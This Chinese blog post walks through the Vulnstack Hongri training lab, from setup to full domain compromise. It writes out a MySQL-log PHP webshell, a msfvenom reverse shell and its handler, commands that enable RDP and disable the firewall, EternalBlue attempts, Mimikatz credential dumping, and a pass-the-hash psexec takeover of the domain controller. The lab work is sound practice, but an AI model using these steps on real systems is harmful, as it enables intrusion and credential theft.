Vulnstack 红日安全内网靶场[一]

<1> 环境搭建

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
虚拟机所有统一密码:hongrisec@2019(有的会提示密码已过期,随便改改 我改成了Hongrisec@2019)
网络拓扑图如下:

这里我设置的网络是VMnet3和VMnet8,其实无所谓设置哪两个网络,最重要的是需要两个网络,且不能在同一个网段内(因为需要一个做外网一个做内网)

ip配置如下:

kali (攻击机):192.168.236.128 (VMnet8 网卡分配的IP)
Windows 7 (web服务器):192.168.236.132(外网和kali连通)、192.168.52.143(内网ip)
Windows 2008 (域控):192.168.52.138
Win2k3 (域管):192.168.22.

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 我们要设置的内网网卡 即 VMware 的 VMnet3 网卡应注意也配置为 192.168.52.XXX/24 网段 (把VMnet3改成其他的也可以,但是那样还需要自己去网络里修改一下被配置的固定192.168.52.XXX/24网段 麻烦一点,就用52吧)

(1) 配置Win7 web服务器网络

从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击添加网络设配器:

右键右下角电脑图标 -> 打开网络和共享中心 -> 更改适配器设置 -> 右键网络本地连接(点属性) -> 选Internet 协议版本 4(TCP/ipv4) 即可设置IP地址为 192.168.236.132

能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通

同理 内网ip设置为:

ping一下DC机,域内网络也配置正常

在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点):

开启之后,我们在我们的主机 访问一下win7,可以正常访问到PHP探针

这样我们的环境就相当于是配置好啦

(2) 配置 Winserver 2008网络(DC域控)

hongrisec@2019 登录的时候,显示密码过期 自己改成了 Hongrisec@2019

Win2008 DC域控主机ip为 192.168.52.138 默认配好了的

(3) 配置 Win2003/win2k3网络(域成员)

域内主机 win2003 ip为192.168.236.141 与外网不连通

<2> 外网边界突破

(1) 信息收集(弱口令+开放了phpmyadmin、yxcms)

在外网站点看见了一个MySQL 连接检测:

检测一下,存在弱口令 root:root 连接正常 但单从这只能检测,还利用不了呢
扫一下目录,看看有什么东西。扫描到了 phpmyadmin

访问/phpmyadmin 使用 刚刚检测到的 root:root 登录一下,成功登录进去了

phpmyadmin是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库

在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务

(2) PhpMyAdmin 后台 Getshell

phpmyadmin有两种getshell方式:

  • into outfile导出木马
  • 利用Mysql日志文件getshell

我们挨个试一下。

-尝试into outfile导出木马(失败)

执行 select @@basedir; 查看一下网站的路径

路径为:C:/phpStudy/MySQL/

再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'; 直接将木马写入到 www网站根目录下 失败

这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =""。

直接写入木马不行,那我们就换另一种方法---Mysql日志文件写入shell

-利用Mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell

SET GLOBAL general_log='on'
开启 general_log

SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'
指定日志写入到网站根目录的 hack.php 文件

然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 hack.php 文件中 访问/hack.php 成功写入

上蚁剑 连上去了

(3)yxcms后台上传getshell

前面我们登录进去之后,可以看到还有一个yxcms的数据库,同时我们进入后台之后,可以看到一个 beifen.rar备份文件和yxcms目录,这道题其实还有一种getshell的方法,这里我们也记录一下。 字典不够强大,没扫出来 beifen.rar和 /yxcms

访问/yxcms,可以看到在公告处,泄露了 yxcms的admin后台登录路径 以及 默认的密码

成功登录到后台

xxcms,既然后台都登录到了,那拿shell还不简单吗,一般就是找一找模板编辑的地方,写入一句话🐎,或者写入日志,这里刚好就有编辑模板的地方,我们新增一个shell.php

建立是建立了,shell.php 生成到哪了呢?? 这里就需要我们前面提到的 beifen.rar 备份文件了,我们把备份文件解压,在里面寻找模板的这么多php 都存放在了:/yxcms/protected/apps/default/view/default/
因此我们的shell.php 就生成在了这里

蚁剑连接 拿到shell

<3> 内网信息探测

我们在拿到的shell 执行 whoami 发现是administrator权限 在域中
ifconfig 发现了内网网段 192.168.52.0/24

(1) 靶机上线CS

在kali里 ./teamserver 192.168.236.128 cs123456 运行cs服务

主机运行CS 客户端并连接 CS 服务端,配置好listener监听器之后,生成 exe后门程序

利用蚁剑 把生成的artifact.exe 上传到靶机上:

在终端里执行 artifact.exe 可以看到靶机上线到CS上

可使用 Mimikatz 直接抓取本机用户密码:

这里抓取到密码之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到

可以利用抓取到的密码 psexec取login一下 监听器选 windows_smb/bind_pipe

拿到正向会话(前面三层内网靶机有讲正向反向)之后,我们可以右键 目标->文件管理

可以看到域控的文件 我们可以进行上传文件操作,算是打通了 这是CS可以用到的一点。这里能拿到是因为我们域控的密码和win7、密码设置一样了。刚好可以拿下 我们下面再看看其他方法 横向移动拿到域控和域内其他机器

(2) 域内信息收集

内网信息收集的主要目的就是查找域控以及域内的其他主机

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1、先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个)

3、查看域的组账户信息(工作组)

4、既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)

扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH

至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控

(3) rdp远程登陆win7

Win7跳板机 默认是不开启3389的,同时还有防火墙

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

这里我们以域用户 administrator登录。

输入我们刚从CS上 mimikatz dump下来的密码Hongrisec@2019 (也可以自己 net user创建一个用户 加入到administrator组里 用那个账户登录)

成功连接

如果MSF 中有Win7 的 Shell,只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面

<4> 内网渗透

(1)CS派生会话给MSF

1、MSF开启监听

msfconsole # 启动MSF框架
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.236.128
set lport 1111
exploit 

2、CS派生会话

案例 choose之后,我们的msf那边就可以收到一个session会话(但是没有)

CS执行失败,这里我们换一种方法 采用质朴的方法反弹 win7的shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.128  LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe
蚁剑上传到 win7上 
kali里运行监听
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.236.128
set lport 1111
exploit 

蚁剑运行 shell.exe 得到meterpreter

3、MSF 简单利用

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:

4、添加路由

# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

5、内网端口扫描

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

192.168.52.141 win2003域成员机开启了 135、139、445端口

同理扫描一下域控机子

域控开启了80、135、139、445端口

(2)MSF进行ms17-010攻击(未成功)

1、msf扫描模块探测是否存在ms17-010漏洞

对于开启了 445 端口的 Windows 服务器肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

一测 域控和成员机可能都存在ms17-010漏洞
2、漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

并没有拿到shell,看师傅的博客说好像通过 ms17-010直接拿到shell的情况并不多,成功率不高

(3) 哈希传递攻击(PTH)拿下域控

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:

1、CS哈希传递攻击利用

前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取

这里抓取到用户哈希凭证之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到

可以利用抓取到的密码 psexec 利用域管理员账户 Hash login一下 监听器选 windows_smb/bind_pipe

拿到正向会话(前面三层内网靶机有讲正向反向)之后,我们可以右键 目标->文件管理

可以看到域控的文件 我们可以进行上传文件操作,拿下域控

2、MSF哈希传递攻击

run windows/gather/smart_hashdump 来进行hashdump

需要SYSTEM权限,我们直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash

[+] 	Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] 	liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块

load kiwi

creds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码

抓取一下用户哈希凭证,报错说 mimikatz在x64用不了。。。 不知道怎么解决 卡住了

后面第二天 CS秃然就可以用了(用着用着beacon就又exit了 不知道为啥)

获得 NTLM Hash:4f1a2b2cf1dd79ae22a7f198412d7e51,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:4f1a2b2cf1dd79ae22a7f198412d7e51
set smbdomain god
run

但是 time out...... 没通
CS里通过 PTH psexec成功拿下域控

参考链接:
https://blog.csdn.net/weixin_39190897/article/details/118353886?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167602673016800182163716%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167602673016800182163716&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-118353886-null-null.142v73wechat,201v4add_ask,239v1insert_chatgpt&utm_term=%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA&spm=1018.2226.3001.4449

https://bwshen.blog.csdn.net/article/details/118338328

https://blog.csdn.net/qq_38626043/article/details/109388147

posted @ 2023-03-17 10:17  1vxyz  阅读(7755)  评论(0编辑  收藏  举报